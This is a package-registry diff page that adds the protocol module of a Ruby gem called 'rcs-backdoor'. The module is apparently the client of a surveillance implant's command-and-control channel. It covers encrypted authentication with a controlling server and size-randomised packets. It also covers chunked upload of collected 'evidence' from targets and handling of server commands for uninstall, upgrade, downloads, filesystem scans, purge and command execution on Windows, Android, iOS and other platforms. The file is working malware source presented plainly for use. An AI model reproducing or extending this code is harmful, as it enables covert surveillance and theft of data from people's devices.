rcs-backdoor 8.0.1

Sign up to get free protection for your applications and to get access to all the features.
@@ -0,0 +1,567 @@
1
+ #
2
+ # Mix-in module for the protocol
3
+ #
4
+
5
+ # Relatives
6
+ require_relative 'config.rb'
7
+
8
+ # RCS::Common
9
+ require 'rcs-common/trace'
10
+ require 'rcs-common/crypt'
11
+ require 'rcs-common/pascalize'
12
+
13
+ # System
14
+ require 'ostruct'
15
+ require 'securerandom'
16
+ require 'digest/sha1'
17
+ require 'base64'
18
+
19
+ module RCS
20
+ module Backdoor
21
+
22
+ module Command
23
+ include Crypt
24
+ include Tracer
25
+
26
+ INVALID_COMMAND = 0x00 # Don't use
27
+ PROTO_OK = 0x01 # OK
28
+ PROTO_NO = 0x02 # Nothing available
29
+ PROTO_BYE = 0x03 # The end of the protocol
30
+ PROTO_ID = 0x0f # Identification of the target
31
+ PROTO_CONF = 0x07 # New configuration
32
+ PROTO_UNINSTALL = 0x0a # Uninstall command
33
+ PROTO_DOWNLOAD = 0x0c # List of files to be downloaded
34
+ PROTO_UPLOAD = 0x0d # A file to be saved
35
+ PROTO_UPGRADE = 0x16 # Upgrade for the agent
36
+ PROTO_EVIDENCE = 0x09 # Upload of an evidence
37
+ PROTO_EVIDENCE_CHUNK = 0x10 # Upload of an evidence (in chunks)
38
+ PROTO_EVIDENCE_SIZE = 0x0b # Queue for evidence
39
+ PROTO_FILESYSTEM = 0x19 # List of paths to be scanned
40
+ PROTO_PURGE = 0x1a # purge the log queue
41
+ PROTO_EXEC = 0x1b # execution of commands during sync
42
+
43
+ PLATFORMS = ["WINDOWS", "WINMO", "OSX", "IOS", "BLACKBERRY", "SYMBIAN", "ANDROID", "LINUX"]
44
+
45
+ # the commands are depicted here: http://rcs-dev/trac/wiki/RCS_Sync_Proto_Rest
46
+
47
+ def authenticate(backdoor)
48
+ # use the correct auth packet
49
+ (backdoor.scout or backdoor.soldier) ? authenticate_scout(backdoor) : authenticate_elite(backdoor)
50
+ end
51
+
52
+ # Authentication phase
53
+ # -> Crypt_C ( Kd, NonceDevice, BuildId, InstanceId, SubType, sha1 ( BuildId, InstanceId, SubType, Cb ) )
54
+ # <- [ Crypt_C ( Ks ), Crypt_K ( NonceDevice, Response ) ] | SetCookie ( SessionCookie )
55
+ def authenticate_elite(backdoor)
56
+ trace :info, "AUTH"
57
+
58
+ # first part of the session key, chosen by the client
59
+ # it will be used to derive the session key later along with Ks (server chosen)
60
+ # and the Cb (pre-shared conf key)
61
+ kd = SecureRandom.random_bytes(16)
62
+ trace :debug, "Auth -- Kd: " << kd.unpack('H*').to_s
63
+
64
+ # the client NOnce that has to be returned by the server
65
+ # this is used to authenticate the server
66
+ # returning it crypted with the session key it will confirm the
67
+ # authenticity of the server
68
+ nonce = SecureRandom.random_bytes(16)
69
+ trace :debug, "Auth -- Nonce: " << nonce.unpack('H*').to_s
70
+
71
+ # the id and the type are padded to 16 bytes
72
+ rcs_id = backdoor.id.ljust(16, "\x00")
73
+ rcs_type = backdoor.type.ljust(16, "\x00")
74
+
75
+ # backdoor identification
76
+ # the server will calculate the same sha digest and authenticate the backdoor
77
+ # since the conf key is pre-shared
78
+ sha = Digest::SHA1.digest(rcs_id + backdoor.instance + rcs_type + backdoor.conf_key)
79
+ trace :debug, "Auth -- sha: " << sha.unpack('H*').to_s
80
+
81
+ # prepare and encrypt the message
82
+ message = kd + nonce + rcs_id + backdoor.instance + rcs_type + sha
83
+ #trace "Auth -- message: " << message.unpack('H*').to_s
84
+ enc_msg = aes_encrypt(message, backdoor.signature)
85
+ #trace "Auth -- signature: " << backdoor.signature.unpack('H*').to_s
86
+ #trace "Auth -- enc_message: " << enc_msg.unpack('H*').to_s
87
+
88
+ # add randomness to the packet size
89
+ enc_msg += randblock()
90
+
91
+ # send the message and receive the response from the server
92
+ # the transport layer will take care of the underlying cookie
93
+ resp = @transport.message enc_msg
94
+
95
+ # remove the random bytes at the end
96
+ resp = normalize(resp)
97
+
98
+ # sanity check
99
+ raise "wrong auth response length" unless resp.length == 64
100
+
101
+ # first 32 bytes are the Ks choosen by the server
102
+ # decrypt it and store to create the session key along with Kd and Cb
103
+ ks = resp.slice!(0..31)
104
+ ks = aes_decrypt(ks, backdoor.signature)
105
+ trace :debug, "Auth -- Ks: " << ks.unpack('H*').to_s
106
+
107
+ # calculate the session key -> K = sha1(Cb || Ks || Kd)
108
+ # we use a schema like PBKDF1
109
+ # remember it for the entire session
110
+ @session_key = Digest::SHA1.digest(backdoor.conf_key + ks + kd)
111
+ trace :debug, "Auth -- K: " << @session_key.unpack('H*').to_s
112
+
113
+ # second part of the server response contains the NOnce and the response
114
+ tmp = aes_decrypt(resp, @session_key)
115
+
116
+ # extract the NOnce and check if it is ok
117
+ # this MUST be the same NOnce sent to the server, but since it is crypted
118
+ # with the session key we know that the server knows Cb and thus is trusted
119
+ rnonce = tmp.slice!(0..15)
120
+ trace :debug, "Auth -- rnonce: " << rnonce.unpack('H*').to_s
121
+ raise "Invalid NOnce" unless nonce == rnonce
122
+
123
+ # extract the response
124
+ response = tmp
125
+ trace :debug, "Auth -- Response: " << response.unpack('H*').to_s
126
+
127
+ # print the response
128
+ trace :info, "Auth Response: OK" if response.unpack('I') == [PROTO_OK]
129
+ if response.unpack('I') == [PROTO_UNINSTALL]
130
+ trace :info, "UNINSTALL received"
131
+ raise "UNINSTALL"
132
+ end
133
+ if response.unpack('I') == [PROTO_NO]
134
+ trace :info, "NO received"
135
+ raise "PROTO_NO: cannot continue"
136
+ end
137
+ end
138
+
139
+ # Authentication phase
140
+ # -> Base64 ( Crypt_S ( Pver, Kd, sha(Kc | Kd), BuildId, InstanceId, Platform ) )
141
+ # <- Base64 ( Crypt_C ( Ks, sha(K), Response ) ) | SetCookie ( SessionCookie )
142
+ def authenticate_scout(backdoor)
143
+ trace :info, "AUTH SCOUT"
144
+
145
+ # the version of the protocol
146
+ pver = [1].pack('I')
147
+
148
+ # first part of the session key, chosen by the client
149
+ # it will be used to derive the session key later along with Ks (server chosen)
150
+ # and the Cb (pre-shared conf key)
151
+ kd = SecureRandom.random_bytes(16)
152
+ trace :debug, "Auth -- Kd: " << kd.unpack('H*').to_s
153
+
154
+ # authentication sha
155
+ sha = Digest::SHA1.digest(backdoor.conf_key + kd)
156
+ trace :debug, "Auth -- sha: " << sha.unpack('H*').to_s
157
+
158
+ # the id and the type are padded to 16 bytes
159
+ rcs_id = backdoor.id.ljust(16, "\x00")
160
+ demo = (backdoor.type.end_with? '-DEMO') ? "\x01" : "\x00"
161
+ level = "\x01" if backdoor.scout
162
+ level = "\x02" if backdoor.soldier
163
+ flags = "\x00"
164
+
165
+ platform = [PLATFORMS.index(backdoor.type.gsub(/-DEMO/, ''))].pack('C') + demo + level + flags
166
+
167
+ trace :debug, "Auth -- #{backdoor.type} " << platform.unpack('H*').to_s
168
+
169
+ # prepare and encrypt the message
170
+ message = pver + kd + sha + rcs_id + backdoor.instance + platform
171
+ #trace "Auth -- message: " << message.unpack('H*').to_s
172
+ enc_msg = aes_encrypt(message, backdoor.signature, PAD_NOPAD)
173
+ #trace "Auth -- signature: " << backdoor.signature.unpack('H*').to_s
174
+ #trace "Auth -- enc_message: " << enc_msg.unpack('H*').to_s
175
+
176
+ # add the random block
177
+ enc_msg += SecureRandom.random_bytes(rand(128..1024))
178
+
179
+ # add the base64 container
180
+ enc_msg = Base64.strict_encode64(enc_msg)
181
+
182
+ # send the message and receive the response from the server
183
+ # the transport layer will take care of the underlying cookie
184
+ resp = @transport.message enc_msg
185
+
186
+ # remove the base64 container
187
+ resp = Base64.strict_decode64(resp)
188
+
189
+ # align to the multiple of 16
190
+ resp = normalize(resp)
191
+
192
+ # decrypt the message
193
+ resp = aes_decrypt(resp, backdoor.conf_key, PAD_NOPAD)
194
+
195
+ ks = resp.slice!(0..15)
196
+ trace :debug, "Auth -- Ks: " << ks.unpack('H*').to_s
197
+
198
+ # calculate the session key -> K = sha1(Cb || Ks || Kd)
199
+ # we use a schema like PBKDF1
200
+ # remember it for the entire session
201
+ @session_key = Digest::SHA1.digest(backdoor.conf_key + ks + kd)
202
+ trace :debug, "Auth -- K: " << @session_key.unpack('H*').to_s
203
+
204
+ check = resp.slice!(0..19)
205
+ raise "Invalid session key (K)" if check != Digest::SHA1.digest(@session_key + ks)
206
+
207
+ trace :debug, "Auth -- Response: " << resp.slice(0..3).unpack('H*').to_s
208
+
209
+ # print the response
210
+ trace :info, "Auth Response: OK" if resp.unpack('I') == [PROTO_OK]
211
+ if resp.unpack('I') == [PROTO_UNINSTALL]
212
+ trace :info, "UNINSTALL received"
213
+ raise "UNINSTALL"
214
+ end
215
+ if resp.unpack('I') == [PROTO_NO]
216
+ trace :info, "NO received"
217
+ raise "PROTO_NO: cannot continue"
218
+ end
219
+ end
220
+
221
+
222
+ # -> Crypt_K ( PROTO_ID [Version, UserId, DeviceId, SourceId] )
223
+ # <- Crypt_K ( PROTO_OK, Time, Availables )
224
+ def send_id(backdoor)
225
+ trace :info, "ID"
226
+
227
+ # the array of available commands from server
228
+ available = []
229
+
230
+ # prepare the command
231
+ message = [PROTO_ID].pack('I')
232
+
233
+ # prepare the message
234
+ message += [backdoor.version].pack('I')
235
+ message += backdoor.userid.pascalize + backdoor.deviceid.pascalize + backdoor.sourceid.pascalize
236
+
237
+ #trace :debug, "Ident: " << message.unpack('H*').to_s
238
+
239
+ # send the message and receive the response from the server
240
+ enc = aes_encrypt_integrity(message, @session_key)
241
+ resp = @transport.message enc
242
+
243
+ # remove the random bytes at the end
244
+ resp = normalize(resp)
245
+
246
+ resp = aes_decrypt_integrity(resp, @session_key)
247
+ #trace "ID -- response: " << resp.unpack('H*').to_s
248
+
249
+ # parse the response
250
+ command, tot, time, size, *list = resp.unpack('I2qI*')
251
+
252
+ # fill the available array
253
+ if command == PROTO_OK then
254
+ trace :info, "ID Response: OK"
255
+ now = Time.now
256
+ diff_time = now.to_i - time
257
+ trace :debug, "ID -- Server Time : " + time.to_s
258
+ trace :debug, "ID -- Local Time : " + now.to_i.to_s + " diff [#{diff_time}]"
259
+ if size != 0 then
260
+ trace :debug, "ID -- available(#{size}): " + list.to_s
261
+ available = list
262
+ end
263
+ else
264
+ trace :info, "ID Response: " + command.to_s
265
+ raise "invalid response"
266
+ end
267
+
268
+ return available
269
+ end
270
+
271
+
272
+ # Protocol Conf
273
+ # -> Crypt_K ( PROTO_CONF )
274
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ Conf ] )
275
+ def receive_config(backdoor)
276
+ trace :info, "CONFIG"
277
+ resp = send_command(PROTO_CONF)
278
+
279
+ # decode the response
280
+ command, size = resp.unpack('I2')
281
+ if command == PROTO_OK then
282
+ trace :info, "CONFIG -- #{size} bytes"
283
+ # configuration parser
284
+ config = RCS::Config.new(backdoor, resp[8..-1])
285
+ config.dump_to_file
286
+ # we have received the config correctly
287
+ send_command(PROTO_CONF, [PROTO_OK].pack('I'))
288
+ else
289
+ trace :info, "CONFIG -- no new conf"
290
+ end
291
+ end
292
+
293
+ # Protocol Upload
294
+ # -> Crypt_K ( PROTO_UPLOAD )
295
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ left, filename, content ] )
296
+ def receive_uploads
297
+ trace :info, "UPLOAD"
298
+ resp = send_command(PROTO_UPLOAD)
299
+
300
+ # decode the response
301
+ command, tot, left, size = resp.unpack('I4')
302
+
303
+ if command == PROTO_OK then
304
+ filename = resp[12, resp.length].unpascalize
305
+ bytes = resp[16 + size, resp.length].unpack('I')
306
+ trace :info, "UPLOAD -- [#{filename}] #{bytes} bytes"
307
+
308
+ # recurse the request if there are other files to request
309
+ receive_uploads if left != 0
310
+ else
311
+ trace :info, "UPLOAD -- No uploads for me"
312
+ end
313
+ end
314
+
315
+ # Protocol Upgrade
316
+ # -> Crypt_K ( PROTO_UPGRADE )
317
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ left, filename, content ] )
318
+ def receive_upgrade
319
+ trace :info, "UPGRADE"
320
+ resp = send_command(PROTO_UPGRADE)
321
+
322
+ # decode the response
323
+ command, tot, left, size = resp.unpack('I4')
324
+
325
+ if command == PROTO_OK then
326
+ filename = resp[12, resp.length].unpascalize
327
+ bytes = resp[16 + size, resp.length].unpack('I')
328
+ trace :info, "UPGRADE -- [#{filename}] #{bytes} bytes"
329
+
330
+ # recurse the request if there are other files to request
331
+ receive_upgrade if left != 0
332
+ else
333
+ trace :info, "UPGRADE -- No upgrade for me"
334
+ end
335
+ end
336
+
337
+ # Protocol Download
338
+ # -> Crypt_K ( PROTO_DOWNLOAD )
339
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ numElem, [file1, file2, ...]] )
340
+ def receive_downloads
341
+ trace :info, "DOWNLOAD"
342
+ resp = send_command(PROTO_DOWNLOAD)
343
+
344
+ # decode the response
345
+ command, tot, num = resp.unpack('I3')
346
+
347
+ if command == PROTO_OK then
348
+ trace :info, "DOWNLOAD : #{num} are available"
349
+ list = resp.slice(12, resp.length)
350
+ # print the list of downloads
351
+ list.unpascalize_ary.each do |pattern|
352
+ trace :info, "DOWNLOAD -- [#{pattern}]"
353
+ end
354
+ else
355
+ trace :info, "DOWNLOAD -- No downloads for me"
356
+ end
357
+ end
358
+
359
+ # Protocol Filesystem
360
+ # -> Crypt_K ( PROTO_FILESYSTEM )
361
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ numElem,[ depth1, dir1, depth2, dir2, ... ]] )
362
+ def receive_filesystems
363
+ trace :info, "FILESYSTEM"
364
+ resp = send_command(PROTO_FILESYSTEM)
365
+
366
+ # decode the response
367
+ command, tot, num = resp.unpack('I3')
368
+
369
+ if command == PROTO_OK then
370
+ trace :info, "FILESYSTEM : #{num} are available"
371
+ list = resp.slice(12, resp.length)
372
+ # print the list of downloads
373
+ buffer = list
374
+ begin
375
+ depth, len = buffer.unpack('I2')
376
+ # len of the current token
377
+ len += 8
378
+ # unpascalize the token
379
+ str = buffer[4, buffer.length].unpascalize
380
+ trace :info, "FILESYSTEM -- [#{depth}][#{str}]"
381
+ # move the pointer after the token
382
+ buffer = buffer.slice(len, list.length)
383
+ end while buffer.length != 0
384
+ else
385
+ trace :info, "FILESYSTEM -- No filesystem for me"
386
+ end
387
+ end
388
+
389
+
390
+ # Protocol Evidence
391
+ # -> Crypt_K ( PROTO_EVIDENCE_SIZE [ num, size ] )
392
+ # <- Crypt_K ( PROTO_OK )
393
+ def send_evidence_size(evidences)
394
+
395
+ total_size = 0
396
+ evidences.each do |e|
397
+ total_size += e.size
398
+ end
399
+
400
+ trace :info, "EVIDENCE_SIZE: #{evidences.size} (#{total_size.to_s_bytes})"
401
+
402
+ # prepare the message
403
+ message = [PROTO_EVIDENCE_SIZE].pack('I') + [evidences.size].pack('I') + [total_size].pack('Q')
404
+ enc_msg = aes_encrypt_integrity(message, @session_key)
405
+ # send the message and receive the response
406
+ @transport.message enc_msg
407
+ end
408
+
409
+ # Protocol Evidence
410
+ # -> Crypt_K ( PROTO_EVIDENCE [ size, content ] )
411
+ # <- Crypt_K ( PROTO_OK | PROTO_NO )
412
+ def send_evidence(evidences)
413
+
414
+ return if evidences.empty?
415
+
416
+ # take the first log
417
+ evidence = evidences.shift
418
+
419
+ # if the evidence is big, split in chunks
420
+ if evidence.size > 100_000
421
+ send_evidence_chunk(evidence)
422
+ else
423
+
424
+ # prepare the message
425
+ message = [PROTO_EVIDENCE].pack('I') + [evidence.size].pack('I') + evidence.binary
426
+ enc_msg = aes_encrypt_integrity(message, @session_key)
427
+ # send the message and receive the response
428
+ resp = @transport.message enc_msg
429
+
430
+ # remove the random bytes at the end
431
+ resp = normalize(resp)
432
+
433
+ resp = aes_decrypt_integrity(resp, @session_key)
434
+
435
+ if resp.unpack('I') == [PROTO_OK]
436
+ trace :info, "EVIDENCE -- [#{evidence.name}] #{evidence.size} bytes sent. #{evidences.size} left"
437
+ else
438
+ trace :info, "EVIDENCE -- problems from server"
439
+ return
440
+ end
441
+ end
442
+
443
+ # recurse for the next log to be sent
444
+ send_evidence evidences unless evidences.empty?
445
+ end
446
+
447
+ # Protocol Evidence (with resume in chunk)
448
+ # -> PROTO_EVIDENCE_CHUNK [ id, base, chunk, size, content ]
449
+ # <- PROTO_OK [ base ] | PROTO_NO
450
+ def send_evidence_chunk(evidence)
451
+
452
+ id = 0
453
+ base = 0
454
+ chunk = 50_000
455
+
456
+ binary = StringIO.open(evidence.binary, "rb")
457
+
458
+ while buff = binary.read(chunk)
459
+ chunk = buff.bytesize
460
+
461
+ # prepare the message
462
+ message = [PROTO_EVIDENCE_CHUNK].pack('I') +
463
+ [id].pack('I') + [base].pack('I') + [chunk].pack('I') + [evidence.size].pack('I') +
464
+ buff
465
+
466
+ # send the message and receive the response
467
+ enc_msg = aes_encrypt_integrity(message, @session_key)
468
+ resp = @transport.message enc_msg
469
+ # remove the random bytes at the end
470
+ resp = normalize(resp)
471
+ resp = aes_decrypt_integrity(resp, @session_key)
472
+
473
+ if resp.slice!(0..3).unpack('I') == [PROTO_OK]
474
+ trace :info, "EVIDENCE -- [#{evidence.name}] #{base}/#{chunk} bytes sent (total #{evidence.size})"
475
+ dummy, base = resp.unpack('I*')
476
+ trace :info, "EVIDENCE -- [#{evidence.name}] acknowledged base: #{base}"
477
+ else
478
+ trace :info, "EVIDENCE -- problems from server"
479
+ return
480
+ end
481
+ end
482
+
483
+ end
484
+
485
+ # Protocol Purge
486
+ # -> Crypt_K ( PROTO_PURGE )
487
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ time, size ] )
488
+ def receive_purge
489
+ trace :info, "PURGE"
490
+ resp = send_command(PROTO_PURGE)
491
+
492
+ # decode the response
493
+ command, len, time, size = resp.unpack('IIQI')
494
+
495
+ if command == PROTO_OK
496
+ trace :info, "PURGE -- [#{Time.at(time)}] #{size} bytes"
497
+ else
498
+ trace :info, "PURGE -- No purge for me"
499
+ end
500
+ end
501
+
502
+ # Protocol Exec
503
+ # -> Crypt_K ( PROTO_EXEC )
504
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ numElem, [file1, file2, ...]] )
505
+ def receive_exec
506
+ trace :info, "EXEC"
507
+ resp = send_command(PROTO_EXEC)
508
+
509
+ # decode the response
510
+ command, tot, num = resp.unpack('I3')
511
+
512
+ if command == PROTO_OK then
513
+ trace :info, "EXEC : #{num} are available"
514
+ list = resp.slice(12, resp.length)
515
+ # print the list of downloads
516
+ list.unpascalize_ary.each do |command|
517
+ trace :info, "EXEC -- [#{command}]"
518
+ end
519
+ else
520
+ trace :info, "EXEC -- No downloads for me"
521
+ end
522
+ end
523
+
524
+ # Protocol End
525
+ # -> Crypt_K ( PROTO_BYE )
526
+ # <- Crypt_K ( PROTO_OK )
527
+ def bye
528
+ trace :info, "BYE"
529
+ resp = send_command(PROTO_BYE)
530
+
531
+ trace :info, "BYE Response: OK" if resp.unpack('I') == [PROTO_OK]
532
+ end
533
+
534
+ # helper method
535
+ def send_command(command, payload = nil)
536
+ message = [command].pack('I')
537
+ message += payload unless payload.nil?
538
+
539
+ # encrypt the message
540
+ enc_msg = aes_encrypt_integrity(message, @session_key)
541
+ enc_msg += randblock()
542
+
543
+ # send the message and receive the response
544
+ resp = @transport.message enc_msg
545
+
546
+ # remove the random bytes at the end
547
+ resp = normalize(resp)
548
+
549
+ # decrypt it
550
+ return aes_decrypt_integrity(resp, @session_key)
551
+ end
552
+
553
+ # returns a random block of random size < 16
554
+ def randblock()
555
+ return SecureRandom.random_bytes(SecureRandom.random_number(16))
556
+ end
557
+
558
+ # normalize a message, cutting at the shorter size multiple of 16
559
+ def normalize(content)
560
+ newlen = content.length - (content.length % 16)
561
+ content[0..newlen-1]
562
+ end
563
+
564
+ end
565
+
566
+ end # Backdoor::
567
+ end # RCS::